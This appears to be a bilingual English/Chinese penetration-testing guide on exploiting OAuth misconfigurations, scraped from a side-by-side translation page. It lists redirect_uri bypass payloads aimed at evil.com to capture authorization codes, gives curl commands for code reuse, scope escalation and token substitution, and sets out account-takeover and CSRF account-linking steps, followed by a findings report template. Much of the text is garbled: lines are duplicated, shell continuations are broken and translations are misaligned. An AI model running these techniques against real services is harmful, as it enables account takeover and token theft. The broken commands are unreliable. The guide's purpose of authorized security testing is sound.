exploiting-oauth-misconfiguration
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseExploiting OAuth Misconfiguration
利用OAuth配置错误
When to Use
适用场景
- During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication
- When assessing "Sign in with Google/Facebook/GitHub" social login implementations
- For testing single sign-on (SSO) flows between applications
- When evaluating API authorization using OAuth bearer tokens
- During security assessments of applications acting as OAuth providers or consumers
- 在授权渗透测试期间,当应用使用OAuth 2.0或OpenID Connect进行身份验证时
- 评估“使用Google/Facebook/GitHub登录”等社交登录实现时
- 测试应用间的单点登录(SSO)流程时
- 使用OAuth承载令牌评估API授权时
- 对作为OAuth提供者或消费者的应用进行安全评估时
Prerequisites
前置条件
- Authorization: Written penetration testing agreement covering OAuth/SSO flows
- Burp Suite Professional: For intercepting OAuth redirect flows
- Browser with DevTools: For monitoring redirect chains and token leakage
- Multiple test accounts: On both the OAuth provider and the target application
- curl: For manual OAuth flow testing
- Attacker-controlled server: For receiving redirected tokens/codes
- 授权许可: 涵盖OAuth/SSO流程的书面渗透测试协议
- Burp Suite Professional: 用于拦截OAuth重定向流程
- 带DevTools的浏览器: 用于监控重定向链和令牌泄露
- 多个测试账户: 同时拥有OAuth提供者和目标应用的测试账户
- curl: 用于手动测试OAuth流程
- 攻击者可控服务器: 用于接收重定向的令牌/授权码
Workflow
操作流程
Step 1: Map the OAuth Flow and Configuration
步骤1:梳理OAuth流程与配置
Identify the OAuth grant type, endpoints, and configuration.
bash
undefined识别OAuth授权类型、端点和配置信息。
bash
undefinedDiscover OAuth/OIDC configuration endpoints
发现OAuth/OIDC配置端点
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .
Key endpoints to identify:
需要识别的关键端点:
- Authorization endpoint: /oauth/authorize
- 授权端点: /oauth/authorize
- Token endpoint: /oauth/token
- 令牌端点: /oauth/token
- UserInfo endpoint: /oauth/userinfo
- 用户信息端点: /oauth/userinfo
- JWKS endpoint: /oauth/certs
- JWKS端点: /oauth/certs
Capture the authorization request in Burp
在Burp中捕获授权请求
Typical authorization code flow:
典型的授权码流程:
GET /oauth/authorize?
GET /oauth/authorize?
response_type=code&
response_type=code&
client_id=CLIENT_ID&
client_id=CLIENT_ID&
redirect_uri=https://app.example.com/callback&
redirect_uri=https://app.example.com/callback&
scope=openid profile email&
scope=openid profile email&
state=RANDOM_STATE
state=RANDOM_STATE
Identify the grant type:
识别授权类型:
- Authorization Code: response_type=code
- 授权码模式: response_type=code
- Implicit: response_type=token
- 隐式模式: response_type=token
- Hybrid: response_type=code+token
- 混合模式: response_type=code+token
Check for PKCE parameters:
检查PKCE参数:
- code_challenge=...
- code_challenge=...
- code_challenge_method=S256
- code_challenge_method=S256
undefinedundefinedStep 2: Test Redirect URI Manipulation
步骤2:测试重定向URI操纵
Attempt to redirect the authorization code or token to an attacker-controlled domain.
bash
undefined尝试将授权码或令牌重定向到攻击者可控的域名。
bash
undefinedTest open redirect via redirect_uri
通过redirect_uri测试开放重定向
Original: redirect_uri=https://app.example.com/callback
原始地址: redirect_uri=https://app.example.com/callback
Attempt various bypasses:
尝试各种绕过方式:
BYPASSES=(
"https://evil.com"
"https://app.example.com.evil.com/callback"
"https://app.example.com@evil.com/callback"
"https://app.example.com/callback/../../../evil.com"
"https://evil.com/?.app.example.com"
"https://evil.com#.app.example.com"
"https://app.example.com/callback?next=https://evil.com"
"https://APP.EXAMPLE.COM/callback"
"https://app.example.com/callback%0d%0aLocation:https://evil.com"
"https://app.example.com/CALLBACK"
"http://app.example.com/callback"
"https://app.example.com/callback/../../other-path"
)
for uri in "${BYPASSES[@]}"; do
echo -n "Testing: $uri -> "
status=$(curl -s -o /dev/null -w "%{http_code}"
"https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123") echo "$status" done
"https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123") echo "$status" done
BYPASSES=(
"https://evil.com"
"https://app.example.com.evil.com/callback"
"https://app.example.com@evil.com/callback"
"https://app.example.com/callback/../../../evil.com"
"https://evil.com/?.app.example.com"
"https://evil.com#.app.example.com"
"https://app.example.com/callback?next=https://evil.com"
"https://APP.EXAMPLE.COM/callback"
"https://app.example.com/callback%0d%0aLocation:https://evil.com"
"https://app.example.com/CALLBACK"
"http://app.example.com/callback"
"https://app.example.com/callback/../../other-path"
)
for uri in "${BYPASSES[@]}"; do
echo -n "Testing: $uri -> "
status=$(curl -s -o /dev/null -w "%{http_code}"
"https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123") echo "$status" done
"https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123") echo "$status" done
If redirect_uri validation is path-based, try path traversal
如果redirect_uri验证是基于路径的,尝试路径遍历
If subdomain matching, try subdomain takeover + redirect
如果是子域名匹配,尝试子域名接管+重定向
redirect_uri=https://abandoned-subdomain.example.com/
redirect_uri=https://abandoned-subdomain.example.com/
undefinedundefinedStep 3: Test for Authorization Code and Token Theft
步骤3:测试授权码与令牌窃取
Exploit leakage vectors for stealing OAuth tokens and codes.
bash
undefined利用泄露向量窃取OAuth令牌和授权码。
bash
undefinedTest token leakage via Referer header
通过Referer头测试令牌泄露
If implicit flow returns token in URL fragment:
如果隐式模式在URL片段中返回令牌:
And the callback page loads external resources,
且回调页面加载外部资源时,Referer头可能会泄露包含令牌的URL
the Referer header may leak the URL with the token
通过Referer测试授权码泄露
Test for authorization code leakage via Referer
在回调地址收到授权码后,检查:
After receiving code at callback, check if:
1. 页面是否加载外部图片/脚本
1. Page loads external images/scripts
2. 页面是否包含指向外部站点的链接
2. Page has links to external sites
Burp: 在代理历史中检查包含"code="的Referer头
Burp: Check Proxy History for Referer headers containing "code="
测试授权码重用
Test authorization code reuse
—
CODE="captured_auth_code"
CODE="captured_auth_code"
First use
第一次使用
curl -s -X POST "https://auth.target.example.com/oauth/token"
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
curl -s -X POST "https://auth.target.example.com/oauth/token"
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
Second use (should fail but may not)
第二次使用(理论上应该失败,但可能不会)
curl -s -X POST "https://auth.target.example.com/oauth/token"
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
curl -s -X POST "https://auth.target.example.com/oauth/token"
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
Test state parameter absence/predictability
测试state参数缺失/可预测性
Remove state parameter entirely
完全移除state参数
If no error, CSRF on OAuth flow is possible
如果没有报错,则OAuth流程可能存在CSRF风险
undefinedundefinedStep 4: Test Scope Escalation and Privilege Manipulation
步骤4:测试范围提升与权限操纵
Attempt to gain more permissions than intended.
bash
undefined尝试获取超出预期的权限。
bash
undefinedRequest additional scopes beyond what's needed
请求超出所需范围的额外权限
Test with elevated scope on token exchange
在令牌交换时测试提升范围
curl -s -X POST "https://auth.target.example.com/oauth/token"
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
curl -s -X POST "https://auth.target.example.com/oauth/token"
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
Test token with manipulated claims
测试篡改声明的令牌
If JWT access token, try modifying claims (see JWT testing skill)
如果是JWT访问令牌,尝试修改声明(请参考JWT测试技能)
Test refresh token scope escalation
测试刷新令牌范围提升
curl -s -X POST "https://auth.target.example.com/oauth/token"
-d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"
-d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"
curl -s -X POST "https://auth.target.example.com/oauth/token"
-d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"
-d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"
Test client credential flow with elevated permissions
测试客户端凭证流的提升权限
curl -s -X POST "https://auth.target.example.com/oauth/token"
-d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
-d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
undefinedcurl -s -X POST "https://auth.target.example.com/oauth/token"
-d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
-d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
undefinedStep 5: Test for Account Takeover via OAuth
步骤5:测试通过OAuth接管账户
Exploit OAuth flows to take over victim accounts.
bash
undefined利用OAuth流程接管受害者账户。
bash
undefinedTest missing email verification on OAuth provider
测试OAuth提供者缺少邮箱验证
1. Create an account on the OAuth provider with victim's email
1. 在OAuth提供者处使用受害者邮箱创建账户
2. OAuth login to the target app
2. 通过OAuth登录目标应用
3. If the app trusts the unverified email, account linking occurs
3. 如果应用信任未验证的邮箱,则会发生账户关联
Test pre-authentication account linking
测试预认证账户关联
1. Register on target app with victim's email (no OAuth)
1. 在目标应用使用受害者邮箱注册(不使用OAuth)
2. Attacker links their OAuth account to victim's email
2. 攻击者将自己的OAuth账户关联到受害者邮箱
3. Attacker can now login via OAuth to victim's account
3. 攻击者现在可以通过OAuth登录受害者账户
CSRF on account linking
账户关联的CSRF攻击
If /oauth/link endpoint lacks CSRF protection:
如果/oauth/link端点缺少CSRF保护:
1. Attacker initiates OAuth flow, captures the auth code
1. 攻击者启动OAuth流程,捕获授权码
2. Craft a page that submits the code to victim's session
2. 构造一个页面,将代码提交到受害者的会话中
3. Victim's account gets linked to attacker's OAuth account
3. 受害者的账户会被关联到攻击者的OAuth账户
Test token substitution
测试令牌替换
Use authorization code/token from one client_id with another
将来自一个client_id的授权码/令牌用于另一个client_id
curl -s -X POST "https://auth.target.example.com/oauth/token"
-d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"
-d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"
undefinedcurl -s -X POST "https://auth.target.example.com/oauth/token"
-d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"
-d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"
undefinedStep 6: Test Client Secret and Token Security
步骤6:测试客户端密钥与令牌安全性
Assess the security of OAuth credentials and tokens.
bash
undefined评估OAuth凭证和令牌的安全性。
bash
undefinedCheck for exposed client secrets
检查是否存在暴露的客户端密钥
Search JavaScript source code
搜索JavaScript源代码
curl -s "https://target.example.com/static/app.js" | grep -i "client_secret|clientSecret|client_id"
curl -s "https://target.example.com/static/app.js" | grep -i "client_secret|clientSecret|client_id"
Check mobile app decompilation for hardcoded secrets
检查移动应用反编译后的硬编码密钥
Test token revocation
测试令牌吊销
ACCESS_TOKEN="captured_access_token"
ACCESS_TOKEN="captured_access_token"
Use the token
使用令牌
curl -s -H "Authorization: Bearer $ACCESS_TOKEN"
"https://api.target.example.com/me"
"https://api.target.example.com/me"
curl -s -H "Authorization: Bearer $ACCESS_TOKEN"
"https://api.target.example.com/me"
"https://api.target.example.com/me"
Revoke the token
吊销令牌
curl -s -X POST "https://auth.target.example.com/oauth/revoke"
-d "token=$ACCESS_TOKEN&token_type_hint=access_token"
-d "token=$ACCESS_TOKEN&token_type_hint=access_token"
curl -s -X POST "https://auth.target.example.com/oauth/revoke"
-d "token=$ACCESS_TOKEN&token_type_hint=access_token"
-d "token=$ACCESS_TOKEN&token_type_hint=access_token"
Test if revoked token still works
测试已吊销的令牌是否仍能使用
curl -s -H "Authorization: Bearer $ACCESS_TOKEN"
"https://api.target.example.com/me"
"https://api.target.example.com/me"
curl -s -H "Authorization: Bearer $ACCESS_TOKEN"
"https://api.target.example.com/me"
"https://api.target.example.com/me"
Test token lifetime
测试令牌生命周期
Decode JWT access token and check exp claim
解码JWT访问令牌并检查exp声明
echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
Long-lived tokens (hours/days) increase attack window
长期令牌(数小时/数天)会增加攻击窗口
Check PKCE implementation
检查PKCE实现
If public client without PKCE, authorization code interception is possible
如果是未使用PKCE的公共客户端,授权码可能被拦截
undefinedundefinedKey Concepts
核心概念
| Concept | Description |
|---|---|
| Authorization Code Flow | Most secure OAuth flow; exchanges short-lived code for tokens server-side |
| Implicit Flow | Deprecated flow returning tokens directly in URL fragment; vulnerable to leakage |
| PKCE | Proof Key for Code Exchange; prevents authorization code interception attacks |
| Redirect URI Validation | Server-side validation that the redirect_uri matches registered values |
| State Parameter | Random value binding the OAuth request to the user's session, preventing CSRF |
| Scope Escalation | Requesting or obtaining more permissions than authorized |
| Token Leakage | Exposure of OAuth tokens via Referer headers, logs, or browser history |
| Open Redirect | Using OAuth redirect_uri as an open redirect to steal tokens |
| 概念 | 描述 |
|---|---|
| Authorization Code Flow | 最安全的OAuth流程;在服务器端用短期授权码交换令牌 |
| Implicit Flow | 已弃用的流程,直接在URL片段中返回令牌;易受泄露攻击 |
| PKCE | 授权码交换证明密钥;防止授权码拦截攻击 |
| Redirect URI Validation | 服务器端验证redirect_uri是否与注册值匹配 |
| State Parameter | 将OAuth请求与用户会话绑定的随机值,防止CSRF |
| Scope Escalation | 请求或获取超出授权范围的权限 |
| Token Leakage | OAuth令牌通过Referer头、日志或浏览器历史暴露 |
| Open Redirect | 利用OAuth的redirect_uri作为开放重定向来窃取令牌 |
Tools & Systems
工具与系统
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercepting OAuth redirect chains and modifying parameters |
| OWASP ZAP | Automated OAuth flow scanning |
| Postman | Manual OAuth flow testing with environment variables |
| oauth-tools.com | Online OAuth flow debugging and testing |
| jwt.io | JWT token analysis for OAuth access tokens |
| Browser DevTools | Monitoring network requests and redirect chains |
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 拦截OAuth重定向链并修改参数 |
| OWASP ZAP | 自动化OAuth流程扫描 |
| Postman | 使用环境变量手动测试OAuth流程 |
| oauth-tools.com | 在线OAuth流程调试与测试 |
| jwt.io | 分析OAuth访问令牌的JWT内容 |
| Browser DevTools | 监控网络请求和重定向链 |
Common Scenarios
常见场景
Scenario 1: Redirect URI Subdomain Bypass
场景1:重定向URI子域名绕过
The OAuth provider validates against . An attacker finds a subdomain vulnerable to takeover (), takes it over, and steals authorization codes redirected to it.
redirect_uri*.example.comold.example.comOAuth提供者验证是否匹配。攻击者找到一个易被接管的子域名(),接管后窃取重定向到该子域名的授权码。
redirect_uri*.example.comold.example.comScenario 2: Missing State Parameter CSRF
场景2:缺失State参数导致CSRF
The OAuth login flow does not include or validate a parameter. An attacker crafts a link that logs the victim into the attacker's account, enabling account confusion attacks.
stateOAuth登录流程未包含或未验证参数。攻击者构造一个链接,让受害者登录到攻击者的账户,从而实现账户混淆攻击。
stateScenario 3: Implicit Flow Token Theft
场景3:隐式流程令牌窃取
The application uses the implicit flow, receiving the access token in the URL fragment. The callback page loads a third-party analytics script, and the token leaks via the Referer header.
应用使用隐式流程,在URL片段中返回访问令牌。回调页面加载第三方分析脚本时,令牌会通过Referer头泄露。
Scenario 4: Authorization Code Reuse
场景4:授权码可重用
The OAuth provider does not invalidate authorization codes after first use. An attacker who intercepts a code via Referer leakage can exchange it for an access token even after the legitimate user has completed the flow.
OAuth提供者在授权码首次使用后未使其失效。攻击者通过Referer泄露拦截到授权码后,即使合法用户已完成流程,仍能交换访问令牌。
Output Format
输出格式
undefinedundefinedOAuth Security Assessment Report
OAuth安全评估报告
Vulnerability: Redirect URI Validation Bypass
Severity: High (CVSS 8.1)
Location: GET /oauth/authorize - redirect_uri parameter
OWASP Category: A07:2021 - Identification and Authentication Failures
漏洞: 重定向URI验证绕过
严重程度: 高(CVSS 8.1)
位置: GET /oauth/authorize - redirect_uri参数
OWASP分类: A07:2021 - 身份识别与认证失败
OAuth Configuration
OAuth配置信息
| Property | Value |
|---|---|
| Grant Type | Authorization Code |
| PKCE | Not implemented |
| State Parameter | Present but predictable |
| Token Type | JWT (RS256) |
| Token Lifetime | 1 hour |
| Refresh Token | 30 days |
| 属性 | 值 |
|---|---|
| 授权类型 | 授权码模式 |
| PKCE | 未实现 |
| State参数 | 存在但可预测 |
| 令牌类型 | JWT(RS256) |
| 令牌生命周期 | 1小时 |
| 刷新令牌 | 30天 |
Findings
发现的问题
| Finding | Severity |
|---|---|
| Redirect URI path traversal bypass | High |
| Missing PKCE on public client | High |
| Authorization code reusable | Medium |
| State parameter uses sequential values | Medium |
| Client secret exposed in JavaScript | Critical |
| Token not revoked after password change | Medium |
| 问题 | 严重程度 |
|---|---|
| 重定向URI路径遍历绕过 | 高 |
| 公共客户端未实现PKCE | 高 |
| 授权码可重用 | 中 |
| State参数使用连续值 | 中 |
| 客户端密钥在JavaScript中暴露 | 关键 |
| 修改密码后令牌未被吊销 | 中 |
Recommendation
建议
- Implement strict redirect_uri validation with exact string matching
- Require PKCE for all clients (especially public/mobile clients)
- Invalidate authorization codes after first use
- Use cryptographically random state parameters tied to user sessions
- Migrate from implicit flow to authorization code flow with PKCE
- Never expose client secrets in client-side code
undefined- 实现严格的redirect_uri验证,采用精确字符串匹配
- 要求所有客户端(尤其是公共/移动客户端)使用PKCE
- 授权码首次使用后立即失效
- 使用与用户会话绑定的加密随机state参数
- 从隐式流程迁移到带PKCE的授权码流程
- 绝对不要在客户端代码中暴露客户端密钥
undefined